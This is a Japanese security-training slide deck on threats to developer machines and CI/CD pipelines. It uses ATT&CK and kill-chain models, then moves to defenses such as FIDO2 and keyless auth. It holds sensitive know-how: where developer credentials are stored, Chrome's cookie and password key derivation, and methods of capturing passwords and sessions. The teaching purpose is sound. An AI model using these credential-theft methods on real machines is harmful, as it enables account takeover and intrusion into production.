Slide 1
Slide 1 text
開発環境のセキュリティおよび
CI/CDパイプラインのセキュア化
Dangerous attack paths: Modern Development Environment Security
- Devices and CI/CD pipelines
セキュリティキャンプ全国大会2022 Webセキュリティクラス
Aug, 10th 2022
Hiroki SUEZAWA
日本語版 (Japanese Version) v1.0.4
Slide 2
Slide 2 text
Who am I?
● Title
○ Senior Security Engineer at Mercari, Inc.
■ Security Architect, Automation, DFIR
■ Mercari Security Teamの紹介
● Career, Presentations
○ https://www.suezawa.net
○ Application基盤の仕組みを作るPlatform Teamと仕
事をしています
■ CI/CD Securityの攻撃手法マップの作成
■ 社内のKubernetes Security脅威分析・セキュ
リティアーキテクチャデザイン
■ Supply-Chain Attacksのインシデント対応など
@rung
@rung
Hiroki SUEZAWA
(末澤 裕希)
/in/suezawa
2
Slide 3
Slide 3 text
Disclaimers
● 本資料で学んだことを、悪用しないでください
● 演習内容
○ https://github.com/rung/training-devenv-security
● English Version
○ https://speakerdeck.com/rung/training-devenv-security-en
3
Slide 4
Slide 4 text
想定ターゲット
セキュリティキャンプ全国大会2022 Webセキュリティクラス
● Software Engineer, Site Reliability Engineering Team, Platform Engineer
○ Webアプリケーションの開発をする人・基盤を管理、運用する人
● Security Architect
○ 上記の人たちと協働してセキュリティデザインを行う人
主なターゲット
Software Engineer
SRE/Platform
上記と協働する
Security Architect
Application
Infrastructure
今回の想定ターゲット外
社内ITチーム
その他のセキュリティチーム
(SOC, Security Complianceなど)
4
Slide 5
Slide 5 text
ゴール
Threat Modelingによる
リスクの特定サイクル
(Microsoft)
Purple Teaming
攻撃目線・防御目線の協力
によるセキュリティ改善
(SANS)
5
● Webアプリケーションを直接狙わない、開発環境経由
の攻撃シナリオを把握する
● NISTなどのセキュリティフレームワークや各種ベスト
プラクティス、Public Cloud/SaaSなどの提供するセ
キュリティ機能について、開発環境観点からの重要度
の判断や、それらに足りていない項目の把握ができる
ようになる
● ベストプラクティスの確立していない新しい開発技術
においても、Threat Modelingや設計が出来るようにな
る
Slide 6
Slide 6 text
Application Developmentのトレンド
● DevOps
○ 開発者と運用者の協力・融合
■ 高頻度のデプロイメント
■ 短期間での変更
■ 開発者も運用に関わるようになった
○ オートメーション
■ CI (Continuous Integration)
■ CD (Continuous Delivery)
● Infrastructure as codeとGitOpsなどの流れ
○ Gitを用いてコードでインフラを管理
○ Immutable infrastructure
■ 既にあるサーバにアップデートを当てるの
ではなく、コンテナなどを用いて、毎度ビ
ルドしなおしアップデートはコンテナごと
入れ替えるという流れになった
6
Slide 7
Slide 7 text
スコープ
本講義では攻撃者による開発環境からの攻撃手法を扱う
（サーバ側経由での攻撃はスコープ外）
7
“守りたい場所”
スコープ
Slide 8
Slide 8 text
アジェンダ
1. Introduction -
開発環境の変化と攻撃の流れ
2. 開発端末に残るもの
3. CI/CDパイプラインの
セキュリティ
下記の概要を把握し、クライアントサイドからの攻撃パスがあ
ることを理解します
● 最近の開発環境の変化
● 開発環境の変化による攻撃パスの違い
● 標的型攻撃の概要と攻撃手法のモデル
開発端末に対する攻撃に成功すると何が起きるのか、実際に演
習を通じて学び、開発者として出来ることを考えます
● 標的型攻撃の流れの把握
● 開発者端末でのCredential Access
● 守りかたを考える
8
新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
なのかを、演習を通じて学びます
● CI/CDパイプラインの理解
● CI/CDパイプラインを狙った攻撃の理解と実践
● 守りかたの理解と実践と限界
Slide 9
Slide 9 text
演習内容
● 演習レポジトリ
○ https://github.com/rung/training-devenv-security
● 演習内容
○ Preparation: Google Cloud and GitHubのセットアップ
○ Exercise 1: 開発端末内のクレデンシャル調査
○ Exercise 2: クレデンシャルのセキュア化
○ Exercise 3: CI/CDとInfrastructure as Codeを試す
○ Exercise 4: CI/CDへの攻撃
○ Exercise 5: CI/CD pipelineのセキュア化
9
Slide 10
Slide 10 text
1. Introduction -
開発環境の変化と攻撃の流れ
10
Slide 11
Slide 11 text
アジェンダ
1. Introduction -
開発環境の変化と攻撃の流れ
3. CI/CDパイプラインの
セキュリティ
2. 開発端末に残るもの
開発端末に対する攻撃に成功すると何が起きるのか、実際に演
習を通じて学び、開発者として出来ることを考えます
● 標的型攻撃の流れの把握
● 開発者端末でのCredential Access
● 守りかたを考える
11
新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
なのかを、演習を通じて学びます
● CI/CDパイプラインの理解
● CI/CDパイプラインを狙った攻撃の理解と実践
● 守りかたの理解と実践と限界
下記の概要を把握し、クライアントサイドからの攻撃パスがあ
ることを理解します
● 最近の開発環境の変化
● 開発環境の変化による攻撃パスの違い
● 標的型攻撃の概要と攻撃手法のモデル
Slide 12
Slide 12 text
この講義で扱う環境
● 最近採用されることの多い構成
○ IDaaS(Identity as a Service)などを用いたインターネット経由のシングルサインオン・社内
ネットワークの不使用
○ Source Code ManagementおよびCI/CDパイプラインの利用
○ Public Cloudの利用 12
“守りたい場所”
つくるアプリケーションを
守る方法を考える
Slide 13
Slide 13 text
利用されるサービスの例
13
IDaaS
(Identity as a Service)
Okta, OneLogin, Azure AD, Google Workspace
ソースコード管理 GitHub, GitLab
CI/CD
GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, Google Cloud
Build, AWS CodePipeline, Spinnaker(CD), ArgoCD(CD)
Public Cloud Amazon Web Services, Google Cloud, Microsoft Azure
Slide 14
Slide 14 text
この講義で扱う攻撃
スコープ内
Client-side Attacks フィッシングにより遠隔操作型マルウェア(RAT)に感染させる攻撃など ※IT
Admin経由の攻撃はスコープ外
Supply-chain Attacks 3rd party toolやアプリケーションの依存関係を狙った攻撃など
スコープ外
Server-side Attacks サーバ側(ネットワーク・ミドルウェア・Webアプリケーションなど)の脆弱性
を狙った攻撃、Webアプリケーションの利用者を狙った攻撃
IT Admin IDaaSの管理権限や仕組み・デバイス管理システムを狙った攻撃など 14
“守りたい場所”
つくるアプリケーション
を守る方法を考える
スコープ
Slide 15
Slide 15 text
1. Introduction - 開発環境の変化と攻撃の流れ
1.最近の開発環境の変化
最近の開発環境周辺の変化と、なぜ今回開発端末とCI/CDパイプラインのセ
キュリティを扱うのかについて説明する
15
Slide 16
Slide 16 text
最近の開発環境の変化
以前の開発環境
● 閉じたネットワークごとの信頼境界を持つアーキテクチャ
● Active Directoryの使用・自社管理
● 社内ネットワークを通じたサーバへのログイン
16
Slide 17
Slide 17 text
最近の開発環境の変化
以前の開発環境の課題
17
同一ネットワーク経由で
の、脆弱性を突いた別端末
への横展開
脆弱性や認証不備などを突い
た、社内端末からのドメインコ
ントローラ全体の掌握
同一ネットワーク内を狙ったリレー
攻撃などによる認証情報の奪取
弱い認証方法による
サーバログイン
Slide 18
Slide 18 text
最近の開発環境の変化
開発環境の変化の理由
● 上記により、今回扱う開発環境の想定は下記とする
○ IDaaSなどを用いたインターネット経由のシングルサインオン・社内ネット
ワークの不使用
○ Source Code ManagementおよびCI/CDパイプラインの利用
○ Public Cloudの利用
業務環境の変化 ● SaaS(Software as a Service): 守る情報が外に移った
● 業務環境: 会社だけでなく外でも働くようになった
脅威の変化 ● 外からの攻撃だけでなく、標的型攻撃などによる中からの攻撃も考
慮が必要になった
● サプライチェーンリスクが顕在化した
サーバの管理 ● CI/CDパイプライン: インフラのコード管理、自動デプロイメント
やコンテナの活用による安定した運用が行われるようになった
● Public Cloud: ソフトウェアエンジニアも基盤を触るようになった
18
Slide 19
Slide 19 text
最近の開発環境の変化
(再掲)この講義で扱う攻撃
スコープ内
Client-side Attacks フィッシングにより遠隔操作型マルウェア(RAT)に感染させる攻撃など ※IT
Admin経由の攻撃はスコープ外
Supply-chain Attacks 3rd party toolやアプリケーションの依存関係を狙った攻撃など
スコープ外
Server-side Attacks サーバ側(ネットワーク・ミドルウェア・Webアプリケーションなど)の脆弱性
を狙った攻撃、Webアプリケーションの利用者を狙った攻撃
IT Admin IDaaSの管理権限や仕組み・デバイス管理システムを狙った攻撃など 19
“守りたい場所”
つくるアプリケーション
を守る方法を考える
スコープ
Slide 20
Slide 20 text
● なぜ開発者の端末(2章)とCI/CDパイプラインのセキュリティ(3章)が重要か
○ その攻撃パスを用いたプロダクション侵害が可能だから
最近の開発環境の変化
開発環境のセキュリティとCI/CDパイプライン
守りたい場所
1. 開発環境が標的型攻撃
の起点になることが多い
から
2. CI/CDは、本番環境
につながる新たな攻撃
パスだから
20
Slide 21
Slide 21 text
1. Introduction - 開発環境の変化と攻撃の流れ
2.開発環境の変化による攻撃パスの違い
開発環境周辺の変化によって生まれる変化を考えます
21
Slide 22
Slide 22 text
開発環境の変化による攻撃パスの違い
攻撃に対する考え方
● 攻撃の考え方は環境が変化しても変わらない
○ 目的を持って、権限昇格・横移動・認証情報の取得を繰り返し侵入を広げていく
○ Bloodhound: Active Directory環境においてゴール(高権限アクセス・ドメインコント
ローラー掌握など)に向けての攻撃パスを描いてくれるツール
■ Active Directoryがない環境でも、攻撃の考え方は同様
BloodHound – Sniffing Out the Path Through Windows Domains
攻撃者は、グラフを探索することで、高い価値を持つ資産へ
の複数のパスを発見します。
…
防御側として何ができるでしょうか。まず、最初のステップは
リストをグラフに変えてネットワークを可視化することです。
次に、グラフ（攻撃パス）をなくすためのコントロールを実装し
ます。
Defenders think in lists. Attackers think in graphs. As long as
this is true, attackers win. - Microsoft Blog
(防御側はリストで考える。攻撃者はグラフで考える。それが正し
い限り、攻撃者が勝利する )
22
Slide 23
Slide 23 text
開発環境の変化による攻撃パスの違い
(再掲)以前の開発環境の課題
23
同一ネットワーク経由で
の、脆弱性を突いた別端末
への横展開
脆弱性や認証不備などを突い
た、社内端末からのドメインコ
ントローラ全体の掌握
同一ネットワーク内を狙ったリレー
攻撃などによる認証情報の奪取
弱い認証方法による
サーバログイン
Slide 24
Slide 24 text
開発環境の変化による攻撃パスの違い
開発者環境の変化: ゴールに到達する攻撃パスの増加
●ネットワーク経由での直接の横展
開は難しくなった
●残る攻撃
○社内フィッシング攻撃による横
展開
○ファイル共有汚染
○コミュニケーションツールを利
用したソーシャルエンジニアリ
ングなど
攻撃パスが増えた
認証の方式が変わった
Active Directoryはな
くなった
DevOpsのトレンドやクラウ
ドの普及により、多くの開発
者が直接基盤を扱う機会が増
えた
※ 組織により実際の利用サービス・設定は異なる
守りたい場所
IDaaSやデバイス管理はSaaSのためサーバ管理は
別の会社が行うようになった
一般デバイスから直接侵害される可能性は減った
24
Slide 25
Slide 25 text
1. Introduction - 開発環境の変化と攻撃の流れ
3.標的型攻撃の概要と攻撃手法のモデル
標的型攻撃がどのように行われるのか、具体例と、攻撃の流れを説明するモデ
ルを用いて考えます。そして、具体的な攻撃手法に基づくセキュリティの共通
言語であるATT&CKを学びます。
25
Slide 26
Slide 26 text
標的型攻撃の概要と攻撃手法のモデル
スピアフィッシング経由でのマルウェアを利用した標的型攻撃の流れ
(参考) Anatomy of an APT attack: Step by step approach - Infosec Resources
日本における有名な標的型攻撃の例: CoinCheck事件 (2018) 26
Attacker
1.Reconnaissance
(情報収集)
2.Initial Foothold
(初期侵入)
3.Lateral Movement
(横移動)
Spear
Phishing
C2 Server
C2: Command & Control
4. Exfiltration
(持ち出し)
Device
Data of Interest
Slide 27
Slide 27 text
標的型攻撃の概要と攻撃手法のモデル
3rd partyツールやソフトウェアの依存関係などを狙ったサプライチェーン攻撃
● 全フェーズにおいて、3rd partyツールやソフトウェアに依存している
● 依存関係における一か所が侵害されると、そのまま侵入に繋がる
● ソフトウェアは大量の依存関係を持つ (Kubernetesの例) 27
2021:
CodeCov bash uploader hacked
PHP.net hacked
PyPI.org’s vulnerability
Homebrew Cask’s vulnerability
…
Public Cloud
Slide 28
Slide 28 text
標的型攻撃の概要と攻撃手法のモデル
攻撃ライフサイクルの説明モデル: Cyber Kill Chain
28
Objectives
Impact
Exfiltration
Collection
Access
Lateral
Movement
Credential
Access
Execution
Privilege
Escalation
Discovery
Pivoting
Command
& Control
Defense
Evasion
Persistence
Exploitation
Social
Engineering
Delivery
● Unified Cyber Kill Chain 「Cyber Kill Chain」というモデルの改良モデル
○ 初期侵入から目的達成までの、標的型攻撃全体のライフサイクルを説明
するモデル
○ 攻撃はこのように、初期侵入後、侵入・遠隔操作・横移動・権限昇格・
認証情報アクセスなどを繰り返しながら目的に到達する
Weaponization
Reconnaissance
Access
Initial Foothold - Compromised System
Pivoting
Network Propagation - Internal Network
Action on objectives - Critical Asset Access
Slide 29
Slide 29 text
標的型攻撃の概要と攻撃手法のモデル
MITRE ATT&CK Frameworkとは
● MITRE ATT&CK Framework
○ 今回の講義でメインで用いる、TTPs(攻撃者の攻撃手法)を説明するフレーム
ワーク
29
Slide 30
Slide 30 text
● なぜMITRE ATT&CK Frameworkか
標的標的型攻撃の概要と攻撃手法のモデル
MITRE ATT&CK Frameworkとは
ATT&CK succinctly organizes adversary tactics and techniques along
with providing a common language used across security disciplines.
(訳) ATT&CKは攻撃者の技術と戦術を簡潔に整理し、セキュリティ組織にお
いて使用する共通言語を提供します。
MITRE ATT&CK: Design and Philosophy
● 共通言語(Common Language)として使用できる
○ セキュリティ組織内での共通言語として使用できる
○ (経験的に) コミュニティにより常に更新され、内容にも
具体性があるため、開発組織（ソフトウェアエンジニア
・SREなど）とセキュリティ組織とのコミュニケーショ
ンにおいてもATT&CKをベースにしてコミュニケーショ
ンすることが出来る
Cyber Threat
Intelligence
Detection &
Analysis
Threat
Emulation
Assessment &
Engineering
30
Slide 31
Slide 31 text
標的型攻撃の概要と攻撃手法のモデル
MITRE ATT&CK Frameworkとは
Reconnaissance The adversary is trying to gather information they can use to plan future operations.
Resource Development The adversary is trying to establish resources they can use to support operations.
Initial Access The adversary is trying to get into your network.
Execution The adversary is trying to run malicious code.
Persistence The adversary is trying to maintain their foothold.
Privilege Escalation The adversary is trying to gain higher-level permissions.
Defense Evasion The adversary is trying to avoid being detected.
Credential Access The adversary is trying to steal account names and passwords.
Discovery The adversary is trying to figure out your environment.
Lateral Movement The adversary is trying to move through your environment.
Collection The adversary is trying to gather data of interest to their goal.
Command and Control The adversary is trying to communicate with compromised systems to control them.
Exfiltration The adversary is trying to steal data.
Impact The adversary is trying to manipulate, interrupt, or destroy your systems and data.
Tactics一覧
31
Slide 32
Slide 32 text
標的型攻撃の概要と攻撃手法のモデル
MITRE ATT&CK Frameworkとは
複数の領域のMATRIXが用意されている
画像: MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Trainingより
それぞれの戦術(Tactic)に対して、Techniqueが紐づく
32
Slide 33
Slide 33 text
標的型攻撃の概要と攻撃手法のモデル
MITRE ATT&CK Frameworkとは
● Techniques, Mitigation and Detection
Home > Techniques > Enterprise > Unsecured Credentials 33
Slide 34
Slide 34 text
標的型攻撃の概要と攻撃手法のモデル
MITRE ATT&CK Frameworkとは
● (参考) 攻撃グループ
Home > Groups 34
Slide 35
Slide 35 text
標的型攻撃の概要と攻撃手法のモデル
MITRE ATT&CK Frameworkの意義
● 攻撃パスの全体像および、具体的なTTPs(攻撃者が使っている攻撃手法)を把握する
ことで、一つ一つの対策が、攻撃をどのように緩和するのか、具体的に理解するこ
とができる
○ 対策が難しい部分について、どの程度の攻撃アクター・手法を想定するかとい
う観点も検討できる
● 利用例: Kubernetes Securityを、ATT&CKのContainer Matrixおよび
ATT&CK-likeな情報をベースに対策の検討を行う
○ セキュリティ内: 具体的な防御の検討や監視の検討・実施を行う
○ 基盤開発チーム: アーキテクチャ・設定の検討・実施を行う
■ 基盤開発チームもUnified Cyber Kill Chainのような攻撃の全体像を理解
し、攻撃の入口がサーバ経由だけでなく、マルウェアを利用した攻撃や
サプライチェーン攻撃などもあることを理解することで、セキュリティ
チームとさらによいコラボレーションが出来る
35
Slide 36
Slide 36 text
標的型攻撃の概要と攻撃手法のモデル
(参考) セキュリティチームの基本原則
● セキュリティ対策の目的は、”攻撃を不可能にする”ではなく、”リスクを減らし許容可能なレベルまで
減らす”
○ 攻撃ライフサイクル全体(Cyber Kill Chain)において、攻撃者の目的達成の難易度を上げる
● リスクを減らす手段は防止だけではない。防止できない場合も、他の手法によりリスク低減できる
○ 主なリスクの下げ方
■ Prevention: 防止 (既存の環境に影響を与える可能性がある)
■ Detection: 検知 (影響を与えずに実施ができる)
■ Directive: ルールや啓発
● その他の重要なコンセプト
○ Defence in depth (多層防御)
■ 侵入を前提として、Single Point Of Failureを作らず対策を積み重ねる
○ Least Privilege
■ 権限を最小化する
○ Secure by default
■ Secureな状態をデフォルトにする仕組みを作れると、利用者は迷わずにセキュアな状態を
選ぶ。デフォルト状態を正しいものにする効果は行動経済学などでも提唱されている
● 参考: https://en.wikipedia.org/wiki/Default_effect
36
Slide 37
Slide 37 text
本章のまとめ
● 最近の開発環境の変化
○ 最近の開発環境周辺の変化を踏まえた上で、攻撃の起点となる開発端末と、新
たな攻撃ポイントであるCI/CDパイプラインのセキュリティを扱う背景を説明
した
● 開発環境の変化による攻撃パスの違い
○ 環境が変化しても、攻撃の考え方は変わらないこと、攻撃パスの違いを示した
● 標的型攻撃の概要と攻撃手法のモデル
○ 標的型攻撃について、スピアフィッシングを経由したマルウェアを用いたもの
と、サプライチェーン攻撃の例を説明した上で、具体的な攻撃のステップを
Unified Cyber Kill Chainを用いて説明した。その後、共通言語である
ATT&CKフレームワークの内容および、対策の考え方を説明した
37
Slide 38
Slide 38 text
演習準備の実施
● 下記の演習準備を実施する
○ https://github.com/rung/training-devenv-security/tree/main/0-prepar
ation
■ * 演習ではIDaaSは扱いません
● 終わった人は、MITRE ATT&CKフレームワークを確認する
○ https://attack.mitre.org/
Slide 39
Slide 39 text
2. 開発端末に残るもの
39
Slide 40
Slide 40 text
アジェンダ
1. Introduction -
開発環境の変化と攻撃の流れ
2. 開発端末に残るもの
3. CI/CDパイプラインの
セキュリティ
開発端末に対する攻撃に成功すると何が起きるのか、実際に演
習を通じて学び、開発者として出来ることを考えます
● 標的型攻撃の流れの把握
● 開発者端末でのCredential Access
● 守りかたを考える
40
新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
なのかを、演習を通じて学びます
● CI/CDパイプラインの理解
● CI/CDパイプラインを狙った攻撃の理解と実践
● 守りかたの理解と実践と限界
下記の概要を把握し、クライアントサイドからの攻撃パスがあ
ることを理解します
● 最近の開発環境の変化
● 開発環境の変化による攻撃パスの違い
● 標的型攻撃の概要と攻撃手法のモデル
Slide 41
Slide 41 text
本章の位置付け
● 標的型攻撃の起点になることが多い、開発者の端末が今回のスコープ
○ 侵入されることを前提に、端末からどのようなものが窃取できるのかを考える
初期侵入・権限昇格・環
境調査・横展開・クレデ
ンシャルアクセス・持ち
出しなどが行われる
守りたい場所
41
Slide 42
Slide 42 text
2. 開発端末に残るもの
1.標的型攻撃の流れの把握
前章で学んだATT&CKフレームワークをベースに、端末が攻撃が受けたときの
攻撃の流れを把握します
42
Slide 43
Slide 43 text
標的型攻撃の流れの把握
(再掲)スピアフィッシング経由でのマルウェアを利用した標的型攻撃の流れ
(参考) Anatomy of an APT attack: Step by step approach - Infosec Resources
日本における有名な標的型攻撃の例: Coincheck事件 (2018) 43
Attacker
1.Reconnaissance
(情報収集)
2.Initial Foothold
(初期侵入)
3.Lateral Movement
(横移動)
Spear
Phishing
C2 Server
C2: Command & Control
4. Exfiltration
(持ち出し)
Device
Data of Interest
Slide 44
Slide 44 text
標的型攻撃の流れの把握
開発端末におけるATT&CK
偵察 初期侵入
Windows
Matrix
コード実行 Post Exploitation
Tactics抜粋 例
Persistence Scheduled Task/Job
権限昇格 Valid Accounts
検知回避 Deobfuscate/Decode Files or
Information
Credential
Access
Steal Web Session Cookie
環境調査
(Discovery)
Browser Bookmark Discovery
横移動 Internal Spearphishing
データ収集 Browser Session Hijacking
持ち出し Exfiltration Over C2 Channel
フィッシング・
サプライチェーンなど 44
Slide 45
Slide 45 text
● Command & Control
○ 遠隔操作型のマルウェアは操作を行うために、C2サー
バと通信する
■ C2フレームワークの一覧: The C2 Matrix
標的型攻撃の流れの把握
Command & Control (C2)
【補足】※本講義では詳細を扱わない
Post-Exploitation全体を取り扱うツール:MetasploitやEmpireなど
C2フレームワーク: Covenantなど
Device
(Victim)
Attacker
直接通信の場合
一般サイトを経由の場合
(検知回避などの目的)
45
* C3
Slide 46
Slide 46 text
標的型攻撃の流れの把握
端末から盗めるもの
● Credential Access
○ 端末に保管されているパスワードやWebの
セッションへのアクセス
● Collection
○ ローカルやファイルサーバ・Slackなどの
チャットサービスなどに保管されているデー
タの収集
今回はWebプロダクションに繋がる情報を直接持ち
うるため、Credential Accessに注目する
Windows
Matrix
46
Slide 47
Slide 47 text
2. 開発端末に残るもの
2.開発者端末でのCredential Access
開発者端末が侵害された場合、どのようなCredentialが取られうるのか、実習
も通して理解します
47
Slide 48
Slide 48 text
開発者端末でのCredential Access
端末にあるCredentialを考える
● 端末目線から見たCredentialの利用と発行
端末・Webブラウザ
利用したいサービス
(GitHub, Cloudなど)
※ シングルサインオンの仕組みやサービスによる差分
は取り扱わない
リダイレクト
IDaaS
(シングルサインオン)
ユーザがCredentialを利用してログイン
(例: ID, Password, 2要素認証情報など)
セッション維持のためのIDaaSのCookieの発行
(GitHubなど)
セッション維持のためのサービスのCookieの発行
ログイン
Credentialの
登録
SSH Public Keyの登録
Credentialの
発行
(GitHub, Cloud Serviceなど)
48
● 強固な認証を行っても、その後発行されるトークンなどを窃取されると突破される
（演習で確認する）
アクセストークン・Static Keyなどの発行
Slide 49
Slide 49 text
開発者端末でのCredential Access
端末にあるCredentialを考える
Credential例 説明 ローカルでの保存形態
Browser Cookie Chromeなどのブラウザに保管されたCookie OSのセキュリティ機構(DPAPI/Keychain)を用いた共通鍵
(AES-GCM)暗号化
Browser Password Manager Chromeなどのブラウザに保管されたPassword OSのセキュリティ機構(DPAPI/Keychain)を用いた共通鍵
(AES-GCM)暗号化
Browser Local Storage Chromeなどのブラウザに保管されたLocal Storage 平文
SSH Private Key GitHubなどに登録したSSH Public Keyに紐づくPrivate Key 平文 or passphrase暗号化
PGP Signing Key GitHubなどに登録したPGP Public Keyに紐づくPrivate Key 平文 or passphrase暗号化
GitHub Token GitHubから発行されたトークン 平文
AWS Access Key AWSから発行された長期鍵 平文
AWS Security Token AWSから発行された一時トークン 平文
Google Cloud Access Token Google Cloudから発行されたユーザIDでのアクセストークン 平文
Google Cloud Service Account Key Google Cloudから発行されたサービスアカウントIDでのアクセストークン 平文
Password Manager内のCredential 1PasswordやLastpassなどのパスワードマネージャー内のCredential
ID/PasswordだけでなくSSH Key, トークン類, TOTPによる2FA情報なども
含みうる
(サービスによる)
OSのセキュリティ機構(DPAPI/Keychain)とパスワードによ
る組み合わせによる暗号化など 49
Slide 50
Slide 50 text
開発者端末でのCredential Access
Webブラウザのデータ
● ローカルマシンへの攻撃はChromeのThreat Modelのスコープ外とされている
Why aren‘t physically-local attacks in Chrome’s threat model?
…
We consider these attacks outside Chrome's threat model, because there is no way for Chrome (or any application) to defend against a
malicious user who has managed to log into your device as you, or who can run software with the privileges of your operating system user
account.
(要約) 物理的な攻撃は ChromeのThreat modelの範囲外。なぜなら Chromeがその攻撃に対して守る手段がないから
Why aren‘t compromised/infected machines in Chrome’s threat model?
Although the attacker may now be remote, the consequences are essentially the same as with physically-local attacks. The attacker's code,
when it runs as your user account on your machine, can do anything you can do. (See also Microsoft's Ten Immutable Laws Of Security.)
(要約) 侵害されたマシンも物理的な攻撃と同様
Chromium Docs - Chrome Security FAQ
50
Slide 51
Slide 51 text
開発者端末でのCredential Access
Webブラウザのデータ
● ChromeのProfileフォルダ
Cookies
or /Network/Cookies
形式: SQLiteファイル
暗号化: AES(GCM or CBC)暗号化 (OSのセキュリティ機構を利用)
参考: ATT&CKでの該当ページ
History 形式: SQLite
暗号化: なし
Local Storage/ 形式: LevelDB
暗号化: なし
※ アクセストークンなどをLocal Storageに保管する例がある
Login Data 内容: Password
形式: SQLiteファイル
暗号化: AES(GCM or CBC)暗号化 (OSのセキュリティ機構を利用)
参考: ATT&CKでの該当ページ
※ Electronを用いて作られたローカルのアプリケーションも、
Chromiumのため同様のディレクトリ構造
51
● ChromeのCookieなどは、Remote Debugを用いてもパスワードなしで盗むことが
できる(参考)。メモリダンプなどでも取得できる。
Slide 52
Slide 52 text
● （フィッシング）SSO(シングルサインオン)などのログインページを模したフィッ
シング攻撃によるセッション奪取
● （マルウェア侵入後）スクリプトによる実行ファイルのラップ
○ ラップした別のスクリプト用いて、ユーザにパスワードを入力させることで平
文パスワードを手に入れる
開発者端末でのCredential Access
その他のCredentialの窃取例
ID, Password, TOTPトークン ID, Password, TOTPトークン
ログイン成功
偽ログインページ 正規ログインページ
Device
52
SSH
git
gpg
Password入力
アップロード
正規実行
ファイル
Slide 53
Slide 53 text
演習1: What credentials your PC has
● 下記の演習を実施する
○ https://github.com/rung/training-devenv-security/tree/main/1-exercise1
● ゴール
○ 自分のPCにあるクレデンシャルを把握する
53
Slide 54
Slide 54 text
(参考) ChromeのCookieとPasswordのファイル暗号化
54
Windows Mac
https://github.com/rung/HackChromeData
1. Extract Symmetric key
Local State
(Encrypted symmetric key) DPAPI
Application symmetric key
Application
Keychain
(Chrome Safe
Storage)
Local Password
Seed
Symmetric key = PBKDF2(Seed, "saltysalt", 1003, 16, sha1.New)
2. Decrypt Cookie and Password
The symmetric key can decrypt Cookie and Password.
Windows: AES-GCM
Mac: AES-CBC
Cookie, Password(Login Data)
SQLite3 Format
● Decrypt Chrome Cookie and Password
Slide 55
Slide 55 text
2. 開発端末に残るもの
3.守りかたを考える
開発端末にCredentialがたくさんあることを前章で見てきました。その上で、
攻撃のリスクを下げる(攻撃を難しくする)ために、どのようなことが出来るか
を考えます
55
Slide 56
Slide 56 text
守りかたを考える
Credentialの種類
● 端末から取得したCredentialsの種類を分ける
○ 認証に必要なCredential
■ ID/Password
■ パスワードマネージャーに入りうるTOTP Seed, クライアント証明書など
○ 初期認証が終わったあとに登録・取得するCredential
■ ブラウザに保管されたCookie
■ GitHubのTokenやSSH Key
■ Public Cloudのトークン・鍵
56
Slide 57
Slide 57 text
守りかたを考える
(参考) 認証に必要なCredential
● 認証を守る
○ WebAuthnなどによる、ネットワーク越しに盗めない機構(Security
KeyやDeviceの暗号Chipなど)を用いてオリジンベースで認証する仕組みを用いる (参考)
■ External Authenticator(Security Key), On-Device Authenticator(Touch IDなど)
● 2FA(2要素認証)の強度
Type Password Cracking Resistant
(Brute force/Credential Stuffing)
Phishing Resistant Hardware-Protected
(秘密鍵の取り出し防止)
Password Only Weak Weak Weak
TOTP (e.g. Google
Authenticator)
Strong Weak Weak
SMS / Voice / Email Strong Weak Weak
Push Verification Strong Moderate Strong
FIDO2 (e.g. Security
Key, Windows Hello and
Touch/Face ID)
Strong Strong Strong
57
一部上記の表は実装などにより例外の可能性あり
Slide 58
Slide 58 text
守りかたを考える
(参考) 認証に必要なCredential
社内IT・Securityの領域
2要素認証の種類ごとのAccount Take Overの防止レートに関する報告(Google, 2019)
Google Online Security Blog: New research: How effective is basic account hygiene at preventing hijacking 58
Slide 59
Slide 59 text
守りかたを考える
(参考) 認証に必要なCredential
● 2FA(2要素認証)に加えたシングル・サインオン認証の保護
認証への組み合わせ 効果の例
インベントリに紐付いたTPMベースの
デバイス認証
攻撃への対策: 攻撃者端末からのログイン、フィッシング攻撃対策
社内統制: BYODやユーザに紐付かない端末からのログインを防ぐ
端末のセキュリティ状況などに紐付い
た認証
攻撃への対策: マルウェアに感染しやすい端末からのログインを防ぐ
社内統制: 許可していない場所からのログインや、アップデートやセキュリティ対
策が行われていない端末からのログインを防ぐ
リスクベース認証
(ロケーションやログインアクティビ
ティなど)
攻撃への対策: 不正ログインの成功確率を下げる
【補足】
企業のサイバーセキュリティ対策で参考になる文献: CIS Controls
(技術だけでなく、組織・プロセスなどもSecurityの観点では重要になる)
いわゆる”ゼロトラスト”やセキュリティのアーキテクチャで参考になる参考文献:
Beyond Corp, Microsoft Security Guidelineなど
また、今回パスワードに加えて2FAを用いるケースを紹介したが、パスワードを
使用しないこともある(Passwordless)
社内IT・Securityの領域
59
Slide 60
Slide 60 text
守りかたを考える
初期認証が終わったあとに登録・取得するCredential
● 対策例
対策例 関係するCredentialの種類 効果の例
最小権限化 全Credential 最小権限により窃取されたトークンで出来ることが最小化される
統制: 必要のない人が高権限を持つことを抑える。Policy-as-codeなど
も使用可
権限を一時的に付与 全Credential 一定期間後、ユーザの持つ権限をはく奪する
例: デフォルト権限はReaderで、期限付きでOwner権限を取得
発行したCookie/Token
への有効期限設定
全Credential 窃取されたトークンが一定期間後後、失効し使えなくなる (参照)
※ 「○分間操作がなければ」でなく、一定時間経過後に強制的に再認証させる
操作に対する承認を行う GitHubなど 1つのトークンだけでは大きな操作が出来ないようになる
Static Keyの発行の禁止 例: GoogleのService Account
keyなど
長期鍵がローカルに残らないようになる
統制: クラウド内の認証の仕組み(Workload Identityなど)、クラウド間
の認証の仕組み(OIDCなど)を用いることにより、どこから利用している
かが分かる
ネットワーク制限や端末
制限の追加
全Credential 窃取されたトークンが別の環境からは使えないようになる
不正監視 全Credential 環境の不審な活動を監視する (Security Monitoringの領域)
60
Slide 61
Slide 61 text
守りかたを考える
Credentialsの保管
61
● 長期的に使用するCredentialの保管方法(Password, Static Key, Token, SSH Keyなど)
○ そもそもCredentialを持たないKeylessを基本的に採用する
■ Cloud内ではStatic Keyを持たずに認証できる, Cloud間もOIDCを用いてKeylessで認証で
きる(次章でGitHub ActionsからGCPへのKeylessアクセスを実践する)
○ Keylessに出来ないCredentialの保管方法
■ サーバやクラウドサービス上のSecret Managerなどに保管・管理する
● Hashicorp Vault, AWS Secrets Manager, Google Secrets Managerなど
○ 監査ログを取得でき、取得制限もかけられる
■ SSH Keyの保管・利用にはSecurity Keyを用いる
